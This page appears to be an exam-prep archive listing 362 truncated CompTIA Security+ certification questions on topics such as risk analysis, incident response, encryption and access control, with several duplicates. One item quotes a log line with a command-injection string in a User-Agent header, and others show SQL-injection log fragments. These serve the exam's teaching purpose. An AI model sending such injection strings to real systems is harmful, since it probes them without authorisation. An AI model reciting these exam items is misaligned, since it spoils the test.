اضغط هنا للانضمام الى قروب فوجي للإختبارات على تيليقرام

أرشيف أسئلة الاختبار

اختبار شهادة امن المعلومات CompTIA Security+

هذه الصفحة مخصصة للأرشفة وتعرض جميع أسئلة الاختبار وروابط كل سؤال مع الخيارات والنقاشات.

الأسئلة

1095 سؤال
  1. Cloud Security Architecture Lab: Configure a secure, redundant web application architecture using the provided cloud diagram. Select appropriate components for ...
  2. Network Security Investigation Lab: Investigate a potential network infection by analyzing host and firewall logs. Determine the source of infection and classif ...
  3. VPN Site-to-Site Configuration Lab Scenario: A systems administrator is configuring a site-to-site VPN between two branch offices to establish secure commun ...
  4. • Scenario : • There was a system breach due to poor password practices. • Task : • Analyze the access log and data dumps, then select the best passwor ...
  5. A recent black-box penetration test of http://example.com discovered that external website vulnerabilities exist, such as directory traversals, cross-site scrip ...
  6. You are a security operations analyst for a healthcare provider. Your main job function is to compare current, high-fidelity threat intelligence feeds to activi ...
  7. You are a security operations analyst for a banking institution. Your main job function is to compare current, high-fidelity threat intelligence feeds to activi ...
  8. Passwordless Command Question • QUESTION A security engineer is setting up passwordless authentication for the first time. • INSTRUCTIONS • Use the minimum se ...
  9. Which of the following describes the difference between encryption and hashing?
  10. Which of the following analysis methods allows an organization to measure the exposure factor associated with organizational assets?
  11. Which of the following would be the most appropriate way to protect data in transit?
  12. Which of the following best explains a concern with OS-based vulnerabilities?
  13. Which of the following control types is AUP an example of?
  14. Which of the following most securely protects data at rest?
  15. Which of the following is the best way to validate the integrity and availability of a disaster recovery site?
  16. A company with a high-availability website is looking to harden its controls at any cost. The company wants to ensure that the site is secure by finding any pos ...
  17. A systems administrator notices that the research and development department is not using the company VPN when accessing various company-related services and sy ...
  18. A security analyst is monitoring logs from the organization's SIEM and identifies logs related to one of their salespeople: Time | IP address | Locatio ...
  19. Prior to implementing a design change, the change must go through multiple steps to ensure that it does not cause any security issues. Which of the following is ...
  20. An auditor notices that, before logging into the firewall, an employee opens a document in a shared folder that contains administrative credentials. Which of th ...
  21. An organization designs an inbound firewall with a fail-open configuration while implementing a website. Which of the following does the organization consider t ...
  22. A security administrator is reviewing the company’s infrastructure and decides to disable all unused ports on the firewall, uninstall unnecessary software from ...
  23. The security department is remediating vulnerabilities that were found during an audit of newly deployed systems. Which of the following must be done to ensure ...
  24. Which of the following should be used to ensure a device is inaccessible to a network-connected resource?
  25. A retail company receives a request to remove a customer’s data. Which of the following is the retail company considered under GDPR legislation?
  26. A company has yearly engagements with a service provider. The general terms and conditions are the same for all engagements. The company wants to simplify the p ...
  27. The security team must identify a strategy to automatically deprovision employees who leave the company. Which of the following actions will accomplish this tas ...
  28. Which of the following is an example of memory injection?
  29. A company processes and stores sensitive data on its own systems. Which of the following steps should the company take first to ensure compliance with privacy r ...
  30. Which of the following options will provide the lowest RTO and RPO for a database?
  31. Which of the following security controls are a company implementing by deploying HIPS (Select two).
  32. When trying to access an internal website, an employee reports that a prompt displays, stating that the site is insecure. Which of the following certificate typ ...
  33. A program manager wants to ensure contract employees can only access the company’s computers Monday through Friday from 9 a.m. to 5 p.m. Which of the following ...
  34. Which of the following is prevented by proper data sanitization?
  35. A forensic engineer determines that the root cause of a compromise is a SQL injection attack. Which of the following should the engineer review to identify the ...
  36. A software developer wishes to implement an application security technique that will provide assurance of the application's integrity. Which of the following te ...
  37. After a series of account compromises and credential misuse, a company hires a security manager to develop a security program. Which of the following steps shou ...
  38. Which of the following attacks primarily targets insecure networks?
  39. Which of the following describes effective change management procedures?
  40. Which of the following are the best methods for hardening end user devices? (Select two).
  41. A contractor is required to visually inspect the motherboards of all new servers that are purchased to determine whether the servers were tampered with. Which o ...
  42. The Chief Executive Officer has requested that a vendor conduct a penetration test without engaging the internal IT team to validate the company's investment in ...
  43. An organization found gaps in its software development environment and is implementing compensating controls to better protect its systems from external threats ...
  44. Which of the following is a qualitative approach to risk analysis?
  45. A CIRT team updates their playbooks to include instructions to respond to a ransomware attack. To prepare for a real event, the team performs a simulation and a ...
  46. A company is considering an expansion of access controls for an application that contractors and internal employees use to reduce costs. Which of the following ...
  47. An administrator implements web-filtering products but still sees that users are visiting malicious links. Which of the following configuration items does the s ...
  48. A company discovers suspicious transactions that were entered into the company's database and attached to a user account that was created as a trap for maliciou ...
  49. A company that has a large IT operation is looking to better control, standardize, and lower the time required to build new servers. Which of the following arch ...
  50. A recent review of logs indicate many attempts to join an internal wireless network from external devices. The connections appear to be originating from surroun ...
  51. Users see a certificate warning on their browsers when connecting to the server over HTTPS. Which of the following is the most likely cause?
  52. Which of the following would best allow a company to prevent access to systems from the internet?
  53. While browsing a web page, a user receives a pop-up with a link telling them to navigate to another site. To which of the following is the site vulnerable?
  54. Which of the following objectives is best achieved by a tabletop exercise?
  55. A software engineering manager wants to scan the code for security vulnerabilities before it is pushed into production. Which of the following types of analysis ...
  56. Which of the following encryption methods protects data if a user loses their laptop?
  57. A security architect wants to prevent employees from receiving malicious attachments by email. Which of the following functions should the chosen solution do?
  58. Which of the following principles requires that a company must keep files or records for a prescribed period of time before it disposes of those files or record ...
  59. For which of the following reasons would a systems administrator leverage a 3DES hash from an installer file that is posted on a vendor’s website?
  60. A security analyst wants to automate a task that shares data between programs. Which of the following is the best option for the analyst to use?
  61. Which of the following is an example of a data protection strategy that uses tokenization?
  62. Which of the following solutions provides a single, centralized source for reviewing events?
  63. A security administrator is addressing an issue with a legacy system that communicates data using an unencrypted protocol to transfer sensitive data to a third ...
  64. Which of the following is the best reason to complete an audit in a banking environment?
  65. Which of the following is the best way to prevent data from being leaked from a secure network that does not need to communicate externally?
  66. A user needs to complete training at https://comptiatraining.com. After manually entering the URL, the user sees that the accessed website is noticeably differe ...
  67. A Chief Information Security Officer is developing procedures to guide detective and corrective activities associated with common threats, including phishing, s ...
  68. Which of the following is the best reason to perform a tabletop exercise?
  69. A security team is in the process of hardening the network against externally crafted malicious packets. Which of the following is the most secure method to pro ...
  70. A company is experiencing a high number of users who are clicking on email-based attacks even though those users have completed annual training. The company's C ...
  71. Which of the following should a systems administrator do after performing remediation activities?
  72. A vendor salesperson is a personal friend of a company's Chief Financial Officer (CFO). The company recently made a large purchase from the vendor, which was di ...
  73. A company's accounting department receives an urgent payment message from the company's bank domain with instructions to wire transfer funds. The sender request ...
  74. During a penetration test in a hypervisor, the security engineer is able to use a script to inject a malicious payload and access the host filesystem. Which of ...
  75. Which of the following elements of digital forensics should a company use if it needs to ensure the integrity of evidence?
  76. A security analyst notices unusual behavior on the network. The IDS on the network was not able to detect the activities. Which of the following should the secu ...
  77. Which of the following is most likely a security concern when installing and using low-cost IoT devices in infrastructure environments?
  78. A company recently set up a system for employees to access their files remotely. However, the IT team has noticed that some employees are using personal devices ...
  79. A security analyst identifies an employee who added an unauthorized wireless router to an office branch. After an investigation, the router is removed, and the ...
  80. After a breach at a data processing center, an administrator receives a notification that administrative passwords were leaked online. Which of the following sh ...
  81. A security analyst wants to automate a task that shares data between programs. Which of the following is the best option for the analyst to use?
  82. A company wants to connect several hundred branch locations in a mesh model. All the users in each branch should be able to reach the data center as well as the ...
  83. A security analyst discovers multiple vulnerabilities and must mitigate them. The analyst must ensure protection against the following attacks: SQL injection ...
  84. Which of the following should be deployed on an externally facing web server in order to establish an encrypted connection?
  85. Which of the following mitigation techniques would a security analyst most likely use to avoid bloatware on devices?
  86. Which of the following is the best way to remove personal data from a social media account that is no longer being used?
  87. An administrator needs to ensure all emails sent and received by a specific address are stored in a non-alterable format. Which of the following best describes ...
  88. Which of the following activities identifies but does not exploit vulnerabilities?
  89. Which of the following should a systems administrator do after performing remediation activities?
  90. Which of the following is a possible consequence of a VM escape?
  91. A network engineer is increasing the overall security of network devices and needs to harden the devices. Which of the following will best accomplish this task?
  92. Which of the following is the most relevant reason a DPO would develop a data inventory?
  93. An organization is required to provide assurance that its controls are properly designed and operating effectively. Which of the following reports will best ach ...
  94. Which of the following would a service provider supply as an assurance for a disposal service as part of a disposal process?
  95. While updating the security awareness training, a security analyst wants to address issues created if vendors' email accounts are compromised. Which of the foll ...
  96. An attacker defaces a company’s website and refuses to relinquish control until the company removes specific harmful chemicals from its products. Which of the f ...
  97. While a school district is performing state testing, a security analyst notices all internet services are unavailable. The analyst discovers that ARP poisoning ...
  98. Which of the following threat vectors is most commonly utilized by insider threat actors attempting data exfiltration?
  99. A company discovers suspicious transactions that were entered into the company's database and attached to a user account that was created as a trap for maliciou ...
  100. Which of the following activities is used to determine the reason an incident occurred, prior to closing the incident?
  101. Which of the following is the act of proving to a customer that software developers are trained on secure coding?
  102. An organization keeps servers with confidential information in the same network as workstations. An attacker compromises a workstation and moves laterally to a ...
  103. A site reliability engineer is designing a recovery strategy that requires quick fail over to an identical site if the primary facility goes down. Which of the ...
  104. Which of the following definitions best describes the concept of log correlation?
  105. Which of the following steps should be taken before mitigating a vulnerability in a production server?
  106. A company purchased cyber insurance to address items listed on the risk register. Which of the following strategies does this represent?
  107. The Chief Information Officer (CIO) asked a vendor to provide documentation detailing the specific objectives within the compliance framework that the vendor’s ...
  108. Which of the following types of identification methods can be performed on a deployed application during runtime?
  109. A company recently set up a system for employees to access their files remotely. However, the IT team has noticed that some employees are using personal devices ...
  110. A security analyst notices unusual behavior on the network. The IDS on the network was not able to detect the activities. Which of the following should the secu ...
  111. A security architect wants to prevent employees from receiving malicious attachments by email. Which of the following functions should the chosen solution do?
  112. A security administrator is implementing encryption on all hard drives in an organization. Which of the following security concepts is the administrator applyin ...
  113. An organization is preparing to export proprietary software to a customer. Which of the following is the best way to prevent the loss of intellectual property?
  114. Which of the following techniques would attract the attention of a malicious attacker in an insider threat scenario?
  115. Which of the following is the greatest advantage that network segmentation provides?
  116. An accounting employee recently used software that was not approved by the company. Which of the following risks does this most likely represent?
  117. A security analyst learns that an attack vector, which was used as a part of a recent incident, was a well-known IoT device exploit. The analyst needs to review ...
  118. A new corporate policy requires all staff to use multifactor authentication to access company resources. Which of the following can be utilized to set up this f ...
  119. Which of the following tasks is typically included in the BIA process?
  120. An organization wants to increase an application's resiliency by configuring access to multiple servers in the organization's geographically dispersed environme ...
  121. Which of the following is an example of a data protection strategy that uses tokenization?
  122. To which of the following security categories does an EDR solution belong?
  123. Which of the following should be used to ensure an attacker is unable to read the contents of a mobile device’s drive if the device is lost?
  124. Company A jointly develops a product with Company B, which is located in a different country. Company A finds out that their intellectual property is being shar ...
  125. Which of the following provides resilience by hosting critical VMs within different IaaS providers while being maintained by internal application owners?
  126. Which of the following attacks exploits a potential vulnerability as a result of direct access to a system using weak cryptographic algorithms?
  127. Which of the following is a use of CVSS?
  128. Which of the following describes the difference between encryption and hashing?
  129. A company is concerned about theft of client data from decommissioned laptops. Which of the following is the most cost-effective method to decrease this risk?
  130. A company recently purchased a new building that does not have an existing wireless or wired infrastructure. A network engineer at the company needs to determin ...
  131. A retail store has recently been targeted by bad actors operating from a different continent. Which of the following would best limit unauthorized access to cre ...
  132. Which of the following is a qualitative approach to risk analysis?
  133. A security analyst notices an increase in port scans on the edge of the corporate network. Which of the following logs should the analyst check to obtain the at ...
  134. A penetration test reveals that users can easily access internal VLANs from the company's guest Wi-Fi. Which of the following security principles would remediat ...
  135. While a user reviews their email, a host gets infected by malware that came from an external hard drive plugged into the host. The malware steals all the user's ...
  136. A penetration tester was able to gain unauthorized access to a hypervisor platform. Which of the following vulnerabilities was most likely exploited?
  137. A Chief Information Security Officer wants to enhance security capabilities to block PII from being emailed or downloaded to unapproved external media. Which of ...
  138. Which of the following should a systems administrator use to decrease the company’s hardware attack surface?
  139. Which of the following is a directive managerial control?
  140. A security analyst is reviewing the following logs about a suspicious activity alert for a user's VPN log-ins: Which of the following malicious activity in ...
  141. A company’s leadership team wants to ensure employees only print business-related documents on company printers. Which of the following documents should the com ...
  142. A network administrator wants to ensure that network traffic is highly secure while in transit. Which of the following actions best describes the actions the ne ...
  143. Which of the following is the best way to prevent data from being leaked from a secure network that does not need to communicate externally?
  144. A company uses a cloud-based server for file storage and wants to ensure the security of its data in transit. Which of the following should the company use to s ...
  145. A new employee accessed an unauthorized website. An investigation found that the employee violated the company’s rules. Which of the following did the employee ...
  146. An engineer has ensured that the switches are using the latest OS, the servers have the latest patches, and the endpoints' definitions are up to date. Which of ...
  147. Which of the following provides the best protection against unwanted or insecure communications to and from a device?
  148. A security analyst is monitoring logs from the organization's SIEM and identifies logs related to one of their salespeople: Time | IP address | Locatio ...
  149. A penetration test identifies that an SMBv1 is enabled on multiple servers across an organization. The organization wants to remediate this vulnerability in the ...
  150. Which of the following should a company use to provide proof of external network security testing?
  151. A security analyst is evaluating a SaaS application that the human resources department would like to implement. The analyst requests a SOC 2 report from the Sa ...
  152. An administrator wants to automate an account permissions update for a large number of accounts. Which of the following would best accomplish this task?
  153. Which of the following is a type of vulnerability that involves inserting scripts into web-based applications in order to take control of the client’s web brows ...
  154. An organization wants to deploy software in a container environment to increase security. Which of the following would limit the organization’s ability to achie ...
  155. An organization wants to deploy software in a container environment to increase security. Which of the following would limit the organization’s ability to achie ...
  156. Which of the following aspects of the data management life cycle is most directly impacted by local and international regulations?
  157. Which of the following should be used to ensure an attacker is unable to read the contents of a mobile device's drive if the device is lost?
  158. A company recently purchased a new building that does not have an existing wireless or wired infrastructure. A network engineer at the company needs to determin ...
  159. Users report that certain processes from a batch job are not working correctly and various resources are unavailable. An application owner provides the source a ...
  160. An administrator must authenticate users to systems using credentials already authenticated by a business partner's LDAP system. Which of the following should t ...
  161. Which of the following would be the greatest concern for a company that is aware of the consequences of non-compliance with government regulations?
  162. Which of the following is the most likely reason a security analyst would review SIEM logs?
  163. A Chief Information Security Officer wants to enhance security capabilities to block PII from being emailed or downloaded to unapproved external media. Which of ...
  164. Company A jointly develops a product with Company B, which is located in a different country. Company A finds out that their intellectual property is being shar ...
  165. A company plans to secure its systems by: • Preventing users from sending sensitive data over corporate email • Restricting access to potentially harmful we ...
  166. Which of the following hardening techniques must be applied on a container image before deploying it to a production environment?
  167. A user sends an email that includes a digital signature for validation. Which of the following security concepts would ensure a user cannot deny they sent the e ...
  168. The board of a company needs to tell the leadership team which activities are too risky to undertake during business operations. Which of the following risk man ...
  169. Which of the following attacks uses a website to collectively target a group of developers within an organization?
  170. During a recent log review, an analyst discovers evidence of successful injection attacks. Which of the following will best address this issue?
  171. Which of the following is a preventive physical security control?
  172. An employee receives a work phone. Instead of starting up with the normal operating system, the phone loads to a gaming platform using administrative credential ...
  173. An organization's web servers host an online ordering system. The organization discovers that the servers are vulnerable to a malicious JavaScript injection, wh ...
  174. The security team is concerned about the amount of third-party SaaS applications requiring unique credentials that are not tied to a user's primary domain accou ...
  175. A penetration tester visits a client's website and downloads the site's content. Which of the following actions is the penetration tester performing?
  176. Which of the following actions must an organization take to comply with a person's request for the right to be forgotten?
  177. An administrator needs to perform server hardening before deployment. Which of the following steps should the administrator take?
  178. While conducting a business continuity tabletop exercise, the security team becomes concerned by potential impacts if a generator were to develop a fault duri ...
  179. Which of the following activities is used to determine the reason an incident occurred, prior to closing the incident?
  180. A security analyst is evaluating a SaaS application that the human resources department would like to implement. The analyst requests a SOC 2 report from the Sa ...
  181. While reviewing a recent compromise, a forensics team discovers there are hard-coded credentials in the database connection strings. Which of the following asse ...
  182. A security analyst is reviewing the security of a SaaS application that the company intends to purchase. Which of the following documentations should the securi ...
  183. An engineer needs to ensure that a script has not been modified before it is launched. Which of the following best provides this functionality?
  184. An MSSP manages firewalls for hundreds of clients. Which of the following tools would be most helpful to create a standard configuration template in order to im ...
  185. An organization wants to increase an application's resiliency by configuring access to multiple servers in the organization's geographically dispersed environme ...
  186. While a user reviews their email, a host gets infected by malware that came from an external hard drive plugged into the host. The malware steals all the user's ...
  187. A company purchased cyber insurance to address items listed on the risk register. Which of the following strategies does this represent?
  188. A company is required to use certified hardware when building networks. Which of the following best addresses the risks associated with procuring counterfeit ha ...
  189. Which of the following security concepts is accomplished with the installation of a RADIUS server?
  190. To which of the following security categories does an EDR solution belong?
  191. An analyst receives alerts for a CPU utilization spike on the servers that host a public website. The analyst determines that the servers are running outdated s ...
  192. Which of the following should a systems administrator use to decrease the company's hardware attack surface?
  193. An unexpected and out-of-character email message from a Chief Executive Officer's corporate account asked an employee to provide financial information and to ch ...
  194. Which of the following is the greatest advantage that network segmentation provides?
  195. Which of the following is the best physical security measure that prevents unauthorized vehicles from entering a data center while still allowing foot traffic?
  196. Which of the following threat vectors would a user be vulnerable to when using a smartphone to scan a two-dimensional matrix barcode?
  197. While a school district is performing state testing, a security analyst notices all internet services are unavailable. The analyst discovers that ARP poisoning ...
  198. A user receives an aggressive text from an unknown sender who is demanding money. Which of the following attacks is this an example of?
  199. Which of the following would best explain why a security analyst is running daily vulnerability scans on all corporate endpoints?
  200. The internal security team is investigating a suspicious attachment and wants to perform a behavior analysis in an isolated environment. Which of the following ...
  201. Which of the following can be used to mitigate attacks from high-risk regions?
  202. An administrator needs to ensure all emails sent and received by a specific address are stored in a non-alterable format. Which of the following best describes ...
  203. Which of the following would an organization most likely use to minimize the loss of data on a file server in the event data needs to be restored due to loss of ...
  204. Which of the following architecture models ensures that critical systems are physically isolated on the network to prevent access from users with remote access ...
  205. A company identified the potential for malicious insiders to harm the organization. Which of the following measures should the organization implement to reduce ...
  206. Which of the following is a directive managerial control?
  207. A penetration tester was able to gain unauthorized access to a hypervisor platform. Which of the following vulnerabilities was most likely exploited?
  208. A security analyst receives an alert from a front-end web server connected to a database back end. The alert contains the following logs: SELECT * FROM users ...
  209. Which of the following activities identifies but does not exploit vulnerabilities?
  210. Which of the following types of identification methods can be performed on a deployed application during runtime?
  211. A security analyst is investigating a suspicious file and wants to determine if it has been modified. Which of the following methods would be best for this purp ...
  212. A security engineer needs to quickly identify a signature from a known malicious file. Which of the following analysis methods would the security engineer most ...
  213. An organization that handles sensitive information wants to protect the information by using a reversible technology. Which of the following best satisfies this ...
  214. A group of developers has a shared backup account to access the source code repository. Which of the following is best way to secure the backup account if there ...
  215. Which of the following aspects of the data management life cycle is most directly impacted by local and international regulations?
  216. Several employees download a productivity program that is useful but also leaks contact information and corporate organizational structure details. Which of the ...
  217. Which of the following does a user often agree to when logging in to a domain?
  218. Which of the following provides resilience by hosting critical VMs within different IaaS providers while being maintained by internal application owners?
  219. An organization purchased a critical business application containing sensitive data. The organization would like to ensure that the application is not exploited ...
  220. Which of the following steps should be taken before mitigating a vulnerability in a production server?
  221. A security engineer needs to patch an OS vulnerability that impacts all corporate laptops. Which of the following is necessary to ensure all corporate laptops a ...
  222. An organization wants to deploy software in a container environment to increase security. Which of the following would limit the organization's ability to achie ...
  223. A new corporate policy requires all staff to use multifactor authentication to access company resources. Which of the following can be utilized to set up this f ...
  224. Which of the following sites offers immediate service restoration following a disaster?
  225. Which of the following provides the best protection against unwanted or insecure communications to and from a device?
  226. A manager meets with various stakeholders involved with a recently resolved security incident. During the meeting, they discuss potential improvements to the en ...
  227. A risk committee determines that the SLE of a hardware failure is $10,000. The ARO is five. Which of the following describes the ALE?
  228. Which of the following architecture models ensures that critical systems are physically isolated on the network to prevent access from users with remote access ...
  229. Which of the following describes a situation where a user is authorized before being authenticated?
  230. A security analyst receives an alert from a front-end web server connected to a database back end. The alert contains the following logs: SELECT * FROM users ...
  231. A user sits in a coffee shop on a government-issued laptop. A stranger starts a conversation with the user and starts asking about where the user works, what di ...
  232. Which of the following should a security analyst use to prioritize the remediation of a vulnerability?
  233. A security analyst must prevent remote users from accessing malicious URLs. The sites need to be checked inline for reputation, content, or categorization. Whic ...
  234. A systems administrator needs to provide traveling employees with a security measure that will protect company devices regardless of where they are working. Whi ...
  235. A company wants to ensure that a mission-critical database should only be accessed from specific internal IP addresses. Which of the following should the compan ...
  236. A security engineer has been assigned to work on a request from outside counsel. The security engineer must provide all email correspondence within a specific d ...
  237. A security analyst regularly receives emails from users who are concerned that attached files may be malicious. Which of the following should the analyst use to ...
  238. An employee from the accounting department logs in to the website used for processing the company’s payments. After logging in, a new desktop application automa ...
  239. A Chief Security Officer signs off on a request to allow inbound SMB and RDP from the internet to a single VLAN. Which of the following is the most likely expla ...
  240. A network security administrator must allow internet access for a specific application virtualization software. Which of the following should the administrator ...
  241. A company hired a security manager from outside the organization to lead security operations. Which of the following actions should the security manager perform ...
  242. Which of the following is an advantage of a microservice-based architecture over traditional software architectures?
  243. Which of the following is an example of a certificate that is generated by an internal source?
  244. A company experiences a breach. The investigation reveals that the threat actor used a zero-day vulnerability to gain access and move laterally. Which of the fo ...
  245. Which of the following data protection strategies can be used to confirm file integrity?
  246. Which of the following digital forensics activities would a security team perform when responding to legal requests in a pending investigation?
  247. A security analyst needs to improve the company’s authentication policy following a password audit. Which of the following should be included in the policy?
  248. Which of the following is used to calculate the impact to an organization per cybersecurity incident?
  249. A company wants to track modifications to the code that is used to build new virtual servers. Which of the following will the company deploy
  250. A forensic engineer determines that the root cause of a compromise is a SQL injection attack. Which of the following should the engineer review to identify the ...
  251. Which of the following agreements defines response time, escalation points, and performance metrics?
  252. A university uses two different cloud solutions for storing student data. Which of the following does this scenario represent?
  253. A security administrator is reviewing the company’s infrastructure and decides to disable all unused ports on the firewall, uninstall unnecessary software from ...
  254. A retail company receives a request to remove a customer’s data. Which of the following is the retail company considered under GDPR legislation?
  255. A penetration test identifies that an SMBv1 is enabled on multiple servers across an organization. The organization wants to remediate this vulnerability in the ...
  256. While updating the security awareness training, a security analyst wants to address issues created if vendors' email accounts are compromised. Which of the foll ...
  257. Which of the following phases of the incident response process attempts to minimize disruption?
  258. Which of the following is a vulnerability concern for end-of-life hardware?
  259. An accounting employee recently used software that was not approved by the company. Which of the following risks does this most likely represent?
  260. An organization is required to provide assurance that its controls are properly designed and operating effectively. Which of the following reports will best ach ...
  261. Which of the following can be deployed in data centers as a protection against an undervoltage event?
  262. A business is expanding to a new country and must protect customers from accidental disclosure of specific national identity information. Which of the following ...
  263. A company is using a legacy FTP server to transfer financial data to a third party. The legacy system does not support SFTP, so a compensating control is needed ...
  264. A customer has a contract with a CSP and wants to identify which controls should be implemented in the IaaS enclave. Which of the following is most likely to co ...
  265. Which of the following should an organization use to ensure that it can review the controls and performance of a service provider or vendor?
  266. Which of the following should be used to aggregate log data in order to create alerts and detect anomalous activity?
  267. Which of the following solutions would most likely be used in the financial industry to mask sensitive data?
  268. An organization decides that most employees will work remotely. The existing VPN solution does not have adequate bandwidth, and the content filtering proxy is o ...
  269. Which of the following would help reduce alert fatigue?
  270. Which of the following would best ensure a controlled version release of a new software application?
  271. Which of the following makes IaC a preferred security architecture over traditional infrastructure models?
  272. Which of the following did the vendor provide to the CIO?
  273. Which of the following provides availability and mitigates the risk of a single point of failure in an application?
  274. Following a security incident involving a fully patched system, an IT administrator would like to mature the incident response process by ingesting more sources ...
  275. Which of the following is a reason to perform a one-time risk assessment?
  276. An analyst discovers a suspicious item in the SQL server logs. Which of the following could be evidence of an attempted SQL injection?
  277. The IT department is updating its policies regarding BYOD in the workplace after they discovered peer-to-peer torrent software. Which of the following would be ...
  278. Which of the following should be used to select a label for a file based on the file's value, sensitivity, or applicable regulations?
  279. Which of the following would help reduce the impact of a vulnerability in NAS installed on a large office network?
  280. In which of the following will unencrypted PLC management traffic most likely be found?
  281. Various company stakeholders meet to discuss roles and responsibilities in the event of a security breach that would affect offshore offices. Which of the follo ...
  282. A penetration test has demonstrated that domain administrator accounts were vulnerable to pass-the-hash attacks. Which of the following would have been the best ...
  283. Which of the following is a benefit of vendor diversity?
  284. After a security incident, a systems administrator asks the company to buy a NAC platform. Which of the following attack surfaces is the systems administrator t ...
  285. Which of the following documents details how to accomplish a technical security task?
  286. A security analyst is reviewing logs and discovers the following: 149.34.228.10 - - [28/Jan/2023:16:32:45 -0300] "GET / HTTP/1.0" User-Agent: ${/bin/sh/ id} 20 ...
  287. Employees sign an agreement that restricts specific activities when leaving the company. Violating the agreement can result in legal consequences. Which of the ...
  288. Which of the following could potentially be introduced at the time of side loading?
  289. A company's accounts payable clerk receives a message from a vendor asking to change their bank account before paying an invoice. The clerk makes the change and ...
  290. A systems administrator just purchased multiple network devices. Which of the following should the systems administrator perform to prevent attackers from acces ...
  291. Which of the following would best prepare a security team for a specific incident response scenario?
  292. Which of the following best describe the benefits of a microservices architecture when compared to a monolithic architecture?
  293. The physical security team at a company receives reports that employees are not displaying their badges. The team also observes employees tailgating at controll ...
  294. After creating a contract for IT contractors, the human resources department changed several clauses. The contract has gone through three revisions. Which of th ...
  295. Which of the following is the most likely to be used to document risks, responsible parties, and thresholds?
  296. According to various privacy rules and regulations, users have the power to request that all data pertaining to them is deleted. This is known as:
  297. Which of the following is a social engineering attack in which a bad actor impersonates a web URL?
  298. A business provides long-term cold storage services to banks that are required to follow regulator-imposed data retention guidelines. Banks that use these servi ...
  299. Which of the following is the best mitigation for a zero-day vulnerability found in mission-critical production servers that must be highly available?
  300. A database engineer needs sample customer data for testing purposes. Which of the following techniques can be used to remove sensitive information from database ...
  301. Which of the following activities should be performed first to compile a list of vulnerabilities in an environment?
  302. Which of the following can best contribute to prioritizing patch applications?
  303. The number of tickets the help desk has been receiving has increased recently due to numerous false-positive phishing reports. Which of the following would be b ...
  304. An analyst identifies that multiple users have the same passwords, but the hashes appear to be completely different. Which of the following most likely explains ...
  305. A security analyst created a fake account and saved the password in a non-readily accessible directory in a spreadsheet. An alert was also configured to noti ...
  306. Which of the following security concepts is accomplished when granting access after an individual has logged in to a computer network?
  307. A systems administrator creates a script that validates OS version, patch levels, and installed applications when users log in. Which of the following examples ...
  308. Which of the following is a type of vulnerability that may result from outdated algorithms or keys?
  309. A security administrator protects passwords by using hashing. Which of the following best describes what the administrator is doing?
  310. Which of the following methods to secure data is most often used to protect data in transit?
  311. A security team receives reports about high latency and complete network unavailability throughout most of the office building. Flow logs from the campus switch ...
  312. An administrator must replace an expired SSL certificate. Which of the following does the administrator need to create the new SSL certificate?
  313. Which of the following types of vulnerabilities involves attacking a system to access adjacent hosts?
  314. A company is concerned with supply chain compromise of new servers and wants to limit this risk. Which of the following should the company review first?
  315. Which of the following is the best safeguard to protect against an extended power failure?
  316. An organization needs to monitor its users' activities in order to prevent insider threats. Which of the following solutions would help the organization achieve ...
  317. Which of the following actions would reduce the number of false positives for an analyst to manually review?
  318. A security team installs an IPS on an organization’s network and needs to configure the system to detect and prevent specific network attacks. Which of the foll ...
  319. Which of the following data types relates to data sovereignty?
  320. An administrator has configured a quarantine subnet for all guest devices that connect to the network. Which of the following would be best for the security tea ...
  321. Which of the following describes the reason for using an MDM solution to prevent jailbreaking?
  322. A security analyst is prioritizing vulnerability scan results using a risk-based approach. Which of the following is the most efficient resource for the analyst ...
  323. A systems administrator wants to use a technical solution to explicitly define file permissions for the entire team. Which of the following should the administr ...
  324. A Chief Information Security Officer (CISO) has developed information security policies that relate to the software development methodology. Which of the follow ...
  325. Which of the following is a benefit of an RTO when conducting a business impact analysis?
  326. Which of the following threat actors would most likely deface the website of a high-profile music group?
  327. Which of the following should a company use to provide proof of external network security testing?
  328. Which of the following is the most important element when defining effective security governance?
  329. Which of the following is used to monitor suspicious traffic in real time between multiple systems within an organization?
  330. Which of the following prevents unauthorized modifications to internal processes, assets, and security controls?
  331. A company that operates with most of its infrastructure in the cloud had its development environment breached. The attackers gained access via a public-facing d ...
  332. Several users report receiving emails with a link that prompts them to enter and change their password. Some users have already entered their information. Which ...
  333. Which of the following is a benefit of launching a bug bounty program? (Select two).
  334. A company is experiencing loss of availability due to excessive traffic to their front-end web servers. The company hires a digital forensics expert to investig ...
  335. An administrator downloads a patch from outside of the official vendor's site and applies the patch to a recent critical operating system CVE. After deploying t ...
  336. An organization failed to account for the right-to-be-forgotten regulations. Which of the following impacts might this action have on the company?
  337. Which of the following data types best describes an AI tool developed by a company to automate the ticketing system under a specific contract?
  338. During an assessment, an organization provides a penetration tester with a website URL and login credentials. However, the tester does not have access to the so ...
  339. During a recent penetration test, the tester was able to plug a machine into an open wall jack, receive an IP address, and access internal resources and the int ...
  340. A Chief Information Security Officer (CISO) of an enterprise environment wants to ensure that users cannot navigate to known malicious domains. The CISO also wa ...
  341. After multiple phishing simulations, the Chief Security Officer announces a new program that incentivizes employees to not click phishing links in the upcoming ...
  342. Which of the following is the most likely benefit of conducting an internal audit?
  343. Which of the following can automate vulnerability management?
  344. An engineer needs to ensure that a script has not been modified before it is launched. Which of the following best provides this functionality?
  345. Which of the following control types describes an alert from a SIEM tool?
  346. A company executive connects to various networks, such as hotel guest Wi-Fi, while traveling. A security analyst needs to provide a solution that will allow the ...
  347. A company relies on open-source software libraries to build the software used by its customers. Which of the following vulnerability types would be the most dif ...
  348. Which of the following is the first step to secure a newly deployed server?
  349. Which of the following activities are associated with vulnerability management?
  350. A security manager wants to reduce the number of steps required to identify and contain basic threats. Which of the following will help achieve this goal?
  351. Which of the following best describes when a user installs an application from an unofficial application store?
  352. An organization is evaluating new regulatory requirements associated with the implementation of corrective controls on a group of interconnected financial syste ...
  353. A security report shows that during a two-week test period, 80% of employees unwittingly disclosed their SSO credentials when accessing an external website. The ...
  354. Which of the following would a service provider supply as an assurance for a disposal service as part of a disposal process?
  355. A remote employee navigates to a shopping website on their company-owned computer. The employee clicks a link that contains a malicious file. Which of the follo ...
  356. An organization has published a list of domains that end users are not authorized to visit on company devices in order to mitigate data loss or installation of ...
  357. Which of the following should an organization focus on the most when making decisions about vulnerability prioritization?
  358. A legal department must maintain a backup from all devices that have been shredded and recycled by a third party. Which of the following best describes this req ...
  359. Which of the following can be best used to discover a company’s publicly available breach information?
  360. An organization discovers that its cold site does not have enough storage and computers available. Which of the following was most likely the cause of this fail ...
  361. A company wants to add an MFA solution for all employees who access the corporate network remotely. Login requirements include something you know, are, and have ...
  362. Which of the following is used to improve security and overall functionality without losing critical application data?
